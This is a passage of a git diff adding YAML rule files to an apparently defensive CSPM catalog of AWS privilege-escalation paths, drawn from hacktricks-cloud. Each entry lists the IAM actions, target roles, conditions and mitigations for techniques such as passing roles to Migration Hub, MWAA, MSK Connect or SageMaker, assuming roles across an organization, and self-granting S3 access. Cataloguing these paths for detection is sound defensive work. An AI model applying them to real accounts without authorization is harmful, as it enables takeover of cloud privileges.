authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Migration Hub and Migration Hub Orchestrator privilege escalation techniques. +# Source: hacktricks-cloud aws-migration-hub-privesc/README.md and aws-migration-hub-orchestrator-privesc/README.md (rev 171e422299). + +- id: aws-mgh-passrole-automation-unit + provider: aws + service: mgh + title: Run a custom Migration Hub automation unit with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-privesc/README.md#migration-hub-automation-custom-unit--passrole---execute-as-a-more-privileged-role + source_revision: 171e422299 + summary: The source may be able to drive a passed role through a custom automation unit if the account can use the preview feature and the source controls a runnable target. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: migrationhub.amazonaws.com + - action: mgh:CreateAutomationUnit + resource: "*" + - action: mgh:AssociateAutomationUnitRole + resource: "*" + - action: mgh:CreateAutomationRun + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: migrationhub.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting migrationhub.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - mgh_automation_unit_home_region_target_and_run + conditions: + - id: preview_region + description: The preview feature is available only in us-east-1 with a us-east-1 Migration Hub home Region. + - id: controlled_runtime_target + description: The unit must target an SSM Automation document or Lambda function the source controls; SSM targets also need the role to trust ssm.amazonaws.com. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Migration Hub service roles with iam:PassedToService and limit automation-unit creation and runs to migration administrators. + references: + - https://docs.aws.amazon.com/migrationhub/latest/ug/automation.html + notes: The Migration Hub Automation guide warns that a user with these four permissions can perform actions the service role allows. The evaluator withholds a role edge until it can verify the account's us-east-1 home Region and feature access, one source-controlled SSM or Lambda runtime target, and association and run permissions bound to the new automation unit. + +- id: aws-migrationhub-orchestrator-workflow-step + provider: aws + service: migrationhub-orchestrator + title: Add or change a workflow step that runs a script on managed nodes + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-orchestrator-privesc/README.md#createworkflowstep--startworkflow---execute-an-s3-script-through-the-orchestrator-service-role + source_revision: 6fb9ac51fd + summary: A source-controlled script may run on an SSM-managed EC2 instance through a runnable Orchestrator workflow and reach that instance's role. + requires: + any_of: + - - action: migrationhub-orchestrator:CreateWorkflowStep + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + - action: migrationhub-orchestrator:StartWorkflow + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + - - action: migrationhub-orchestrator:UpdateWorkflowStep + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + - action: migrationhub-orchestrator:RetryWorkflowStep + resource: arn:{source.partition}:migrationhub-orchestrator:*:{source.account}:workflow/* + bind: workflow + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: Instance-profile roles of SSM-managed instances in {account} + outcome: workload_execution + preconditions: + - migrationhub_orchestrator_bound_workflow_script_and_managed_target + conditions: + - id: script_in_prefixed_bucket + description: The script must be in a migrationhub-orchestrator-* bucket (s3:PutObject + there, or an existing usable script). + - id: workflow_state + description: An existing workflow in a state that can be changed and started (or + a failed custom step for the retry variant), and the service-linked role, must + exist. + - id: instance_managed + description: The selected EC2 target must be an online SSM-managed node. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict workflow-step create/update/start/retry actions to migration + administrators and restrict writes to migrationhub-orchestrator-* buckets. + references: + - https://docs.aws.amazon.com/migrationhub-orchestrator/latest/userguide/security-iam-awsmanpol.html + notes: The two permissions in each alternative must authorize the same workflow. No iam:PassRole or ssm:SendCommand is needed because the service-linked role runs AWS-RunRemoteScript. The evaluator withholds a role edge until an existing workflow, its startable or retryable state, a mutable and reachable custom step, source-controlled S3 script, service-linked role and exact online SSM-managed target instance are joined. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml new file mode 100644 index 0000000000..d03b57a378 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml @@ -0,0 +1,94 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# PassRole techniques from the ML/analytics data-access page that yield code execution as the role. +# Source: hacktricks-cloud aws-ml-dataaccess-passrole-privesc/README.md (rev 171e422299). +# The data-only (confused-deputy read/write) services on that page are excluded in _excluded_refresh_g4.yaml. + +- id: aws-finspace-passrole-createkxcluster + provider: aws + service: finspace + title: Create a FinSpace Managed kdb cluster with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting finspace.amazonaws.com by running q code it supplies in a kdb cluster under that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: finspace.amazonaws.com + - action: finspace:CreateKxCluster + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: finspace.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting finspace.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: existing_kx_environment + description: A Managed kdb environment must already exist in the CreateKxCluster Resource scope. + - id: code_readable + description: The cluster code location must be readable by the service. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on FinSpace execution roles and finspace:CreateKxCluster, and keep execution roles least-privileged. + references: + - https://docs.aws.amazon.com/finspace/latest/management-api/API_CreateKxCluster.html + notes: Documentation-grounded; Managed kdb environments are rare. CreateKxUser/UpdateKxUser role binding is not modelled. + +- id: aws-kafkaconnect-passrole-createconnector + provider: aws + service: kafkaconnect + title: Create an MSK Connect connector with a passed service execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting kafkaconnect.amazonaws.com by running connector plugin code it controls in MSK Connect workers that carry that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: kafkaconnect.amazonaws.com + - action: kafkaconnect:CreateConnector + resource: "*" + - action: kafkaconnect:CreateCustomPlugin + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: kafkaconnect.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting kafkaconnect.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: controlled_plugin_code + description: CreateCustomPlugin must register connector code the source supplies; an AWS-provided or unrelated existing plugin does not run source-controlled code. + - id: plugin_object_readable + description: When a new custom plugin is registered, its code object must be stored in S3 at a location readable for plugin creation. + - id: reachable_kafka_cluster + description: The connector needs a reachable Apache Kafka cluster (MSK or self-managed) and VPC subnets and security groups to attach to. + - id: ec2_dependent_actions + description: Connector creation also needs EC2 network-interface and VPC/subnet/security-group describe permissions, plus log-delivery permissions if worker logging is configured. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on MSK Connect service execution roles and kafkaconnect:CreateConnector / CreateCustomPlugin to platform administrators, keep connector roles least-privileged, and alert on CreateConnector calls that name an unexpected service execution role. + references: + - https://docs.aws.amazon.com/msk/latest/developerguide/msk-connect-service-execution-role.html + - https://docs.aws.amazon.com/msk/latest/developerguide/mkc-iam-policy-examples.html + notes: The page lists MSK Connect in its code-executing table ("Kafka connector plugin"). Connector workers run the plugin's JVM code and use the service execution role for AWS calls. Reuse of an existing plugin is intentionally excluded because the source-to-plugin control join is not collected. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml new file mode 100644 index 0000000000..7d77f4dcf7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml @@ -0,0 +1,87 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon MWAA (Managed Workflows for Apache Airflow) privilege escalation techniques. +# Source: hacktricks-cloud aws-post-exploitation/aws-mwaa-post-exploitation/README.md (rev 171e422299). + +- id: aws-mwaa-serverless-passrole-createworkflow + provider: aws + service: airflow-serverless + title: Create an MWAA Serverless workflow with a passed execution role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#airflow-serverlesscreateworkflow--iampassrole--run-attacker-code-as-the-execution-role + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles trusting airflow-serverless.amazonaws.com by creating a workflow from its own YAML definition with that execution role and starting a run. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: airflow-serverless.amazonaws.com + - action: airflow-serverless:CreateWorkflow + resource: "*" + - action: airflow-serverless:StartWorkflowRun + resource: "*" + - action: iam:CreateServiceLinkedRole + resource: "*" + request_context: + iam:AWSServiceName: airflow-serverless.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: airflow-serverless.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Passable MWAA Serverless execution roles in {account}" + outcome: workload_execution + preconditions: + - mwaa_serverless_new_workflow_definition_and_start + conditions: + - id: definition_readable + description: The caller needs s3:GetObject/s3:ListBucket on a bucket holding its DAG-factory YAML definition and CloudWatch Logs write on the workflow log group. + - id: network_reach + description: Without NAT or VPC endpoints, in-task AWS API calls only reach endpoints the workflow network can route to; the role is still assumed in the worker. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Constrain iam:PassRole for airflow-serverless.amazonaws.com to approved roles and restrict airflow-serverless:CreateWorkflow. + references: + - https://docs.aws.amazon.com/mwaa/latest/mwaa-serverless-userguide/what-is-mwaa-serverless.html + notes: The source demonstrates a DAG-factory YAML object in S3 and a subsequent StartWorkflowRun call on the ARN returned by CreateWorkflow. The evaluator accepts a new workflow only when complete inventory shows a free name, a same-Region versioned private bucket can hold source-written YAML, broad StartWorkflowRun covers every generated ID, and both caller and role have the required logging permissions. Narrower workflow grants, other bucket paths, and runtime behavior remain unresolved. The page documents iam:CreateServiceLinkedRole for airflow-serverless.amazonaws.com as required even when the service-linked role exists. + +- id: aws-mwaa-passrole-updateenvironment + provider: aws + service: airflow + title: Repoint an MWAA environment to a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#repoint-the-execution-role-airflowupdateenvironment--iampassrole + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles trusting MWAA by switching an environment's execution role to them and running code on the workers (startup script, plugins, requirements or a DAG). + requires: + all_of: + - action: airflow:UpdateEnvironment + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: [airflow.amazonaws.com, airflow-env.amazonaws.com] + scope: same_account + aggregate_as: "Passable MWAA execution roles in {account}" + outcome: workload_execution + preconditions: + - mwaa_existing_environment_update_with_dag_code + conditions: + - id: code_trigger + description: Caller code must run on the workers after the update, through StartupScriptS3Path/PluginsS3Path/RequirementsS3Path objects the source controls, a DAG it can add, or an Airflow token (airflow:CreateCliToken / CreateWebLoginToken). + - id: environment_exists + description: An MWAA environment must already exist; the update is asynchronous and recycles the workers. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Constrain iam:PassRole for airflow.amazonaws.com / airflow-env.amazonaws.com and restrict airflow:UpdateEnvironment; pin aws:SourceArn of the environment in execution-role trust policies. + references: + - https://docs.aws.amazon.com/mwaa/latest/API/API_UpdateEnvironment.html + notes: The evaluator binds UpdateEnvironment to a usable collected environment and checks PassRole for that environment with iam:PassedToService and iam:AssociatedResourceArn. It also verifies a writable DAG object the passed role can list and read. Worker scheduling, encryption and runtime behavior remain conditional. Startup scripts, plugins and Airflow tokens are alternative code paths that remain unresolved. The same UpdateEnvironment call can set code paths that run as the current execution role without PassRole. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml new file mode 100644 index 0000000000..618ecc8a58 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml @@ -0,0 +1,88 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Organizations privilege escalation techniques. +# Source: hacktricks-cloud aws-organizations-prinvesc/README.md. + +- id: aws-organizations-management-to-member-accounts + provider: aws + service: organizations + title: Assume trusted roles in usable organization member accounts + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#from-management-account-to-children-accounts + source_revision: 6fb9ac51fd + summary: A management-account principal can obtain the privileges of roles in usable member accounts that trust it. + requires: + all_of: + - action: sts:AssumeRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + trust_allows_principal_of_source: true + org_member_account: true + scope: org + aggregate_as: Organization access roles in member accounts + conditions: + - id: role_exists + description: OrganizationAccountAccessRole is created for accounts created through Organizations; invited accounts + need it added manually. Control Tower enrolled accounts may instead have AWSControlTowerExecution, which trusts + the management account and has administrator access. + - id: source_in_management_account + description: The source must live in the management account that the member-account role trusts. + preconditions: + - target_in_other_account + - source_in_org_management_account + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Keep the management account free of workloads, limit who can assume roles from it, and replace the + default role with narrowly trusted roles. + references: + - https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_access-cross-account-role.html + - https://docs.aws.amazon.com/controltower/latest/userguide/awscontroltowerexecution.html + notes: The role can have any permission level; OrganizationAccountAccessRole and AWSControlTowerExecution often have broad permissions. SCPs apply to the assumed role in the member account. Overlaps with aws-sts-assumerole-trusted; kept to identify the organization relationship. + + +- id: aws-organizations-createaccount-principalorgid-trust + provider: aws + service: organizations + title: Create a member account to satisfy role trusts keyed on aws:PrincipalOrgID + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationscreateaccount--spawn-an-account-you-fully-own-inside-the-victim-org + source_revision: 171e422299 + summary: A management-account principal can create a new member account, which it fully controls through OrganizationAccountAccessRole, and from it assume roles whose trust allows any principal of the organization (Principal "*" with aws:PrincipalOrgID / aws:PrincipalOrgPaths). + requires: + all_of: + - action: organizations:CreateAccount + resource: "*" + - action: sts:AssumeRole + resource: "arn:{source.partition}:iam::*:role/*" + target: + kind: aws_role + selector: + trust_allows_principal_org: true + scope: any + aggregate_as: "Roles trusting any principal of the organization" + conditions: + - id: org_paths_root + description: CreateAccount places the new account in the organization root; trusts restricted with aws:PrincipalOrgPaths to a specific OU additionally need organizations:MoveAccount. + - id: target_trust_other_conditions + description: Additional trust conditions (source IP, VPC, tags) must be satisfiable from the new account. + - id: account_quota + description: The organization must have account quota left and CreateAccount is asynchronous and visible in CloudTrail. + - id: access_role_name + description: The admin role created in the new account is OrganizationAccountAccessRole by default but its name is chosen by the caller, so sts:AssumeRole must cover the chosen role name. + preconditions: + - source_in_org_management_account + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict organizations:CreateAccount to break-glass roles, avoid Principal "*" trusts that rely only on aws:PrincipalOrgID, and pin trusted accounts or role paths instead. + references: + - https://docs.aws.amazon.com/organizations/latest/APIReference/API_CreateAccount.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalorgid + notes: The trust is evaluated with aws:PrincipalOrgID set to the collected organization id and aws:PrincipalOrgPaths to the root path; without the organization inventory the targets are unresolved placeholders. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/pcaconnectorad.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/pcaconnectorad.yaml new file mode 100644 index 0000000000..49535eea37 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/pcaconnectorad.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Private CA Connector for Active Directory privilege escalation techniques (cloud-to-AD). +# Source: hacktricks-cloud aws-pca-connector-ad-privesc/README.md (rev 171e422299). +# Target: aws_directory_domain_admin, an entity per account meaning "domain administrator of an Active Directory joined +# through a PCA connector in that account". Connectors are not collected (pca-connector-ad:ListConnectors), so the targets +# are per-account unresolved placeholders; the entity is not an AWS-admin kind. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/pipes.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/pipes.yaml new file mode 100644 index 0000000000..3779881d4c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/pipes.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EventBridge Pipes privilege escalation techniques. +# Source: hacktricks-cloud aws-eventbridge-pipes-privesc/README.md and aws-eventbridge-pipe-stored-role-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml new file mode 100644 index 0000000000..6512f7f7f7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml @@ -0,0 +1,43 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon QuickSight application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-quicksight-privesc/README.md (rev 171e422299). +# QuickSight user inventory is collected, but a new ADMIN registration needs +# subscription, IAM identity, and requested user ARN evidence before sign-off. + +- id: aws-quicksight-registeruser-admin + provider: aws + service: quicksight + title: Register an IAM user as a QuickSight administrator + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightregisteruser--map-a-controlled-iam-identity-to-an-admin + source_revision: 171e422299 + summary: The source IAM user can register itself as a QuickSight ADMIN, gaining control of the account's QuickSight resources and data sources. + source_kind: [aws_user] + requires: + all_of: + - action: quicksight:RegisterUser + resource: "arn:{source.partition}:quicksight:{target.region}:{target.account}:user/default/{source.name}" + request_context: + quicksight:IamArn: + source_principal: true + quicksight:SessionName: + absent: true + target: + kind: aws_service_plane_admin + selector: + service_plane: quicksight + scope: same_account + aggregate_as: "QuickSight administrators in {account}" + grants: [QuickSight ADMIN] + preconditions: + - quicksight_subscribed + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict quicksight:RegisterUser to QuickSight administrators and alert on RegisterUser with Role=ADMIN. + notes: The registered identity is the source IAM user. IAM role sessions need a separate session-bound path. Application-plane administration, not IAM administrator access. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/rds.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/rds.yaml new file mode 100644 index 0000000000..578695efe7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/rds.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon RDS / Aurora privilege escalation techniques. +# Source: hacktricks-cloud aws-rds-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml); name_prefix selector (see agent report). +# RDS-associated roles are only usable through engine integrations (S3 import/export, Lambda, ML, etc.), so the +# privileges obtained are bounded to the services those integrations call, not a full role session. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/redshift.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/redshift.yaml new file mode 100644 index 0000000000..548fb0e5c6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/redshift.yaml @@ -0,0 +1,16 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Redshift privilege escalation techniques. +# Source: hacktricks-cloud aws-redshift-privesc/README.md (rev a53b46392c; partially re-pointed to rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). +# Database access to a cluster/namespace lets SQL (COPY/UNLOAD, external functions/schemas, Spectrum) use the IAM roles +# attached to it. AWS docs: "By default, IAM roles that are available to an Amazon Redshift cluster are available to all +# users on that cluster"; access can be narrowed with ASSUMEROLE grants or an sts:ExternalId trust condition listing dbuser +# ARNs. Privileges obtained are bounded to the services those SQL integrations call (S3, Lambda, Glue/Athena catalog, EMR, +# DynamoDB, Kinesis), plus role chaining to roles that trust the attached role. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/s3.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/s3.yaml new file mode 100644 index 0000000000..669b75ffa7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/s3.yaml @@ -0,0 +1,82 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon S3 privilege escalation techniques (artifact tampering only). +# Source: hacktricks-cloud aws-s3-privesc/README.md (rev a53b46392c). +# Uses {target.artifact_arn} and via_artifact_type (see header of lambda.yaml). S3 techniques only count when the +# written object is code/state that ANOTHER principal later executes; pure bucket data access is in _excluded_b.yaml. +# Service-specific S3 artifact entries live in glue.yaml, emr.yaml, sagemaker.yaml and elasticbeanstalk.yaml. + +- id: aws-s3-putbucketpolicy-self-grant + provider: aws + service: s3 + title: Grant the source principal GetObject on an exact S3 prefix through a bucket policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketpolicy--grant-your-principal-new-object-access + source_revision: e5a7b415ff + summary: The source uses s3:PutBucketPolicy on a same-account bucket to add a resource-policy Allow naming itself, gaining previously denied s3:GetObject on the reviewed prefix. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: s3:PutBucketPolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_s3_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["s3:GetObject on the exact reviewed bucket prefix"] + aggregate_as: "Reviewed S3 GetObject self-grants in {account}" + conditions: + - id: reviewed_effective_permission_differential + description: A unique collected aws_s3_policy_self_grant_evidence record must prove the exact source, owned bucket, prefix, policy principal and resource, accepted policy, prior denial and observed new GetObject access after guardrail review. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict s3:PutBucketPolicy on sensitive buckets, review policy changes granting the caller access and retain explicit denies for protected prefixes. + references: + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-policies.html + notes: The target is only the source's new GetObject permission on the reviewed bucket prefix. Missing, duplicate, partial or mismatched reviewed evidence creates no path. + +- id: aws-s3-accessgrants-self-grant + provider: aws + service: s3 + title: Vend a newly authorized S3 Access Grants READ session for the source principal + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3-access-grants--vend-a-new-prefix-scoped-read-session + source_revision: e036a395d3 + summary: The source registers a location with a passable role, creates a READ grant for itself and obtains a usable, prefix-scoped S3 STS session that newly allows GetObject. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: s3:CreateAccessGrantsLocation + resource: "{target.location_arn}" + - action: iam:PassRole + resource: "{target.role_arn}" + request_context: + iam:PassedToService: access-grants.s3.amazonaws.com + - action: s3:CreateAccessGrant + resource: "{target.grant_arn}" + - action: s3:GetDataAccess + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_s3_access_grants_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["s3:GetObject through the reviewed Access Grants session on the exact bucket prefix"] + aggregate_as: "Reviewed S3 Access Grants READ self-grants in {account}" + conditions: + - id: reviewed_scoped_access_grants_session + description: Unique collected evidence must bind the exact source, instance, registered location, passable role, source-named READ grant, successful GetDataAccess session, prefix scope, prior denial and observed new GetObject access. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Access Grants location and grant creation, PassRole, and GetDataAccess; review new grants to the requesting principal and their prefix scope. + references: + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_control_GetDataAccess.html + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_control_CreateAccessGrantsLocation.html + notes: The target is a bounded S3 permission, not the location role's full authority. Missing, duplicate, partial or mismatched session evidence creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/s3files.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/s3files.yaml new file mode 100644 index 0000000000..dc9e5255f1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/s3files.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon S3 Files privilege escalation techniques. +# Source: hacktricks-cloud aws-s3-files-privesc/README.md (rev 171e422299). +# Bounded impact: the passed role is exercised by the service for S3 synchronization only (no STS credentials returned). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml new file mode 100644 index 0000000000..c4c440d27d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml @@ -0,0 +1,449 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon SageMaker AI privilege escalation techniques. +# Source: hacktricks-cloud aws-sagemaker-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-sagemaker-passrole-createnotebookinstance + provider: aws + service: sagemaker + title: Create a notebook instance with a passed role and open it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#iampassrole--sagemakercreatenotebookinstance-sagemakercreatepresignednotebookinstanceurl + source_revision: 171e422299 + summary: The source can create and open a SageMaker notebook using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_new_notebook_creation_and_url_authorized + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: presigned_url_source_ip + description: aws:SourceIp / VPC endpoint conditions on presigned URL use may restrict access to the notebook. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles with iam:PassedToService and limit notebook creation to data-science admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateNotebookInstance.html + notes: A single unused notebook name in one Region must be permitted for both creation and presigned URL access. Creation can omit tags, VPC, KMS, and private code repositories. + +- id: aws-sagemaker-createpresignednotebookinstanceurl + provider: aws + service: sagemaker + title: Open an existing notebook instance via a presigned URL + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatepresignednotebookinstanceurl + source_revision: 171e422299 + summary: The source can obtain the privileges of the role of existing SageMaker notebook instances in Resource scope. + requires: + all_of: + - action: sagemaker:CreatePresignedNotebookInstanceUrl + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_notebook_instance + scope: same_account + aggregate_as: "Roles of existing SageMaker notebook instances in {account}" + preconditions: + - sagemaker_notebook_instance_accessible + conditions: + - id: notebook_in_service + description: The notebook must be InService, or Stopped with a supported platform and permission to start it; root access/terminal may be disabled by lifecycle configuration but the role is still usable from the kernel. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope 